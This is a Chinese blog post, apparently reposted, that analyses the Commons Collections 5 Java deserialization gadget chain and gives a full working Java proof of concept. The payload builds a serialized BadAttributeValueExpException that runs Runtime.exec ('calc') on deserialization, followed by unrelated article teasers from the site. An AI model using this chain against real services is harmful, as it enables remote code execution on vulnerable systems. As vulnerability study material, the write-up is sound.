[Java反序列化]—CommonsCollections5

news2024/11/24 18:44:04

先贴张其他师傅的图

其实 CC5就是CC1的一种变形,前半段改修一下,后面接上就是CC5了。CC1是通过AnnotationInvocationHandler.invoke()获取get(),而CC5则是通过TiedMapEntry.toString(),其余部分都是一样的

分析

看看TiedMapEntry如何调用的 get 方法

public String toString() {
    return getKey() + "=" + getValue();
}

getValue 中调用了 get()

public Object getValue() {
    return map.get(key);
}

这里可以用构造器修改map的值,就可以接上后面的部分

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

再来看看哪里调用的toString()

全局搜索,在在BadAttributeValueExpException类中的readObject()中发现调用

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}
val = valObj.toString();

调用的是valObj .toString(), 所以我们要构造valObj为 TiedMapEntry类,看一下valObj的定义:

ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

先调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。

所以可以通过修改val的值,来修改valobj,而val是本类中的一个私有属性,直接反射修改即可

private Object val;

链子就清晰了,构造

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

这里实例化这个对象,需要传值 NUll,因为在他的构造方法中 有个

public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}

如果传值为null ,则赋值null给var,如果val有值,则会直接调用toString,提前出发我们反序列化。

接着通过反射 修改val的值为 TiedMapEntry 类就可以了

最终poc

package CommonsCollections5;

import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, NoSuchFieldException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"snowyf");
        Class<BadAttributeValueExpException> badAttributeValueExpExceptionClass = BadAttributeValueExpException.class;
        Field val = badAttributeValueExpExceptionClass.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize("1.txt");

    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/45848.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]Python计算机毕业设计Django-大学生健康档案管理

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

Codeforces Round #836 (Div. 2) A.B.C.D

A. SSeeeeiinngg DDoouubbllee 题目链接&#xff1a; Problem - A - Codeforces 题面&#xff1a; 题意&#xff1a; 给定一个字符串&#xff0c;把这个字符串每个字符重复两遍后重新排序一定是一个回文串&#xff0c;问这个回文串是什么 思路&#xff1a; 题目是多种答案…

LVS-DR模式单网段和多网段案例实现

1 实验环境&#xff1a; 一台&#xff1a;客户端 eth0:仅主机 192.168.10.8/24 GW:192.168.10.18一台&#xff1a;ROUTER eth0 :NAT 192.168.100.18/24 eth1: 仅主机 192.168.10.18/24 启用 IP_FORWARD一台&#xff1a;LVS eth0:NAT:DIP:192.168.100.48/24 GW:192.168.100.18两…

进程与信号(三)

目录 一、前言 二、Signals 1、Signal Handling&#xff08;ctrlc.c&#xff09; 2、Sending Signals &#xff08;1&#xff09;alarm.c &#xff08;2&#xff09;A Robust Signals Interface &#xff08;3&#xff09;ctrlc2.c 3、Signal Sets &#xff08;1&…

小学生python游戏编程arcade----单词对错检测及记录写入excel中

小学生python游戏编程arcade----单词对错检测及记录写入excel中前言单词对错检测及记录写入excel中1、excel读取修改1.1 excel读取1.2 修改用到的库1.3 获取Excel表格名称的三种方式1.4 excel格式问题excel文件保存2.1 保存函数2.2 实验2.3 游戏中调用修改2.4 升级时保存字典内…

SuperMap GIS管线数据优化

一、优化目的 城市管网数据错综复杂&#xff0c;未经优化处理的数据在加载过程中可能会出现显示效果差&#xff0c;浏览效率低的情况&#xff0c;特别是在浏览器端&#xff0c;受文件请求量&#xff0c;网络带宽、硬件性能等方面的影响&#xff0c;未经优化的管线数据显示可能不…

5个高清图片素材网站,无水印,免费商用。

网上找的图片素材清晰度不够&#xff0c;版权不明确怎么办。看看这几个可商用图片素材网站&#xff0c;解决你的所有图片需求&#xff0c;高清无水印、下载无限制、免费可商用&#xff0c;赶紧马住&#xff01; 1、菜鸟图库 https://www.sucai999.com/pic.html?vNTYxMjky 网站…

【学习笔记54】运动函数的分析

一、运动函数的基本实现 运动函数是我们自己封装的一个函数。作用是将css样式的改变不是一次性完成&#xff0c;是逐步完成执行效果&#xff0c;看上去像是动画/运动完成的css样式改变。实际项目中框架等都有自己的运动函数我们目前封装一个简单的兼容多属性的运动函数。 1、HT…

回溯法(Java)

回溯法&#xff08;Java&#xff09; 文章目录回溯法&#xff08;Java&#xff09;1、引言2、回溯法2.1 定义2.2 使用场合2.3 基本做法2.4 具体做法2.5 常见例子3、比较4、 问题的解空间4.1 介绍4.2 解空间&#xff08;Solution Space&#xff09;4.3 举例5、基本思想5.1 基本步…

Starday跨境电商平台靠“三快”取胜

入驻快、支付快、物流快 在这个瞬息万变的互联网世界&#xff0c;追求“快”已经成为各行各业的共识&#xff0c;而对于一个因互联网发展而诞生的新兴行业——跨境电商行业&#xff0c;“快”就是跨境电商行业的第一生产力&#xff0c;要想在众多的跨境电商行业中成功出圈&…

【allegro 17.4软件操作保姆级教程六】布线操作基础之一

目录 1.1走线和修线 1.2 Copy操作 1.3 change操作 1.4 删除操作 1.5 Z-copy操作 1.6 Sub-drawing操作 1.1走线和修线 这两个操作是布线时用的最多最基础的操作。如下图&#xff0c;左边是走线命令&#xff08;add connect&#xff09;&#xff0c;右边是修线命令&#x…

外卖项目(项目优化3)12---前后端分离开发

目录 问题描述&#xff1a;184 一、前后端分离开发 185 1.1介绍 185 1.2开发流程 1.3前端技术栈 二、YAPI 186 2.1介绍 2.2使用方式 三、Swagger 187 3.1介绍 3.2使用方式&#xff08;步骤&#xff09; 3.3Swagger---常用注解 188 四、项目部署 189 4.1部署架构…

虹科分享 | 网络流量监控 | 使用 ntopng 收件人和端点进行灵活的警报处理

在之前&#xff0c;ntopng引擎对所有警报的配置是单一的&#xff1a;进入偏好页面并指定警报的发送地点。但这是不理想的&#xff0c;原因有很多&#xff1a;包括不可能在不同的渠道向不同的收件人发送警报&#xff0c;或有选择地决定何时发送警报。 出于这个原因&#xff0c;…

【教材】20022/11/28[指针] 指针数组

一个数组,若其元素均为指针类型数据,称为指针数组,也就是说,指针数组中的每一个元素都存放一个地址,相当于一个指针变量。下面定义一个指针数组:int *p[4] 注意不要写成int &#xff08;*p&#xff09;[4]. 可以分别定义一些字符串,然后用指针数组中的元素分别指向各字符串,在n…

二手闲置物品交易数据快照

近年来&#xff0c;中国社会消费品零售总额不断增长&#xff0c;2019 年1-4 月,消费品零售总额达到128375.8 亿元&#xff0c;同比增长8%。消费者购买力的增强和电商行业的发展&#xff0c;给购买行为提供便利条件&#xff0c;消费者冲动消费后的闲置产品&#xff0c;给二手交易…

《前端》JavaScript总结

文章目录js的使用方法变量与运算符let 与 const变量类型运算符输入与输出输入输出格式化字符串判断语句循环语句for循环while循环do...while循环对象数组访问数组中的元素数组常用属性和函数函数类定义继承静态方法静态变量事件鼠标键盘表单窗口js的使用方法 **使用方式&#…

网络安全工程师必备证书有哪些?

网络环境之间的竞争&#xff0c;归根到底优秀人才之间的竞争。 在2022年网络安全周上&#xff0c;《网络安全人才实战能力白皮书》正式公布。资料显示&#xff0c;到2027年&#xff0c;我国网络安全人员缺口将达327万&#xff0c;而高校人才培养经营规模仅是3万/年。 那样&am…

上半年亏损之下,卫龙第三次冲刺港股IPO

据港交所文件显示&#xff0c;今年6月27日卫龙美味通过港交所上市聆听&#xff0c;11月24日&#xff0c;卫龙更新了聆听后资料集。若此次上市成功&#xff0c;卫龙将成为港股乃至国内辣条第一股。 此前&#xff0c;卫龙已经两度申请了赴港IPO&#xff0c;但都功败垂成&#xff…

看看咱是如何用MATLAB白嫖遥遥领先于同行的神仙级翻译工具 — DeepL

伙伴们不用惊讶&#xff0c;标题仅仅是借用余大嘴的专用修饰语“遥遥领先于同行”而已&#xff0c;但讲DeepL翻译器遥遥领先于同行也不为过&#xff0c;下图是官方给出的采用盲测的方式与其他同类产品的对比图&#xff0c;这应该不是吹牛X&#xff1a; 如此优秀的翻译神器&…

免改造密码方案入选工信部“首届全国商用密码应用优秀案例”

2022年8月18日&#xff0c;“首届全国商用密码应用优秀案例”评选结果重磅揭晓&#xff0c;炼石网络与陕西移动联合打造的“面向重要数据与个人信息保护的商用密码解决方案”&#xff0c;凭借创新性及技术优势&#xff0c;从102个案例中脱颖而出、成功入选&#xff0c;并被收录…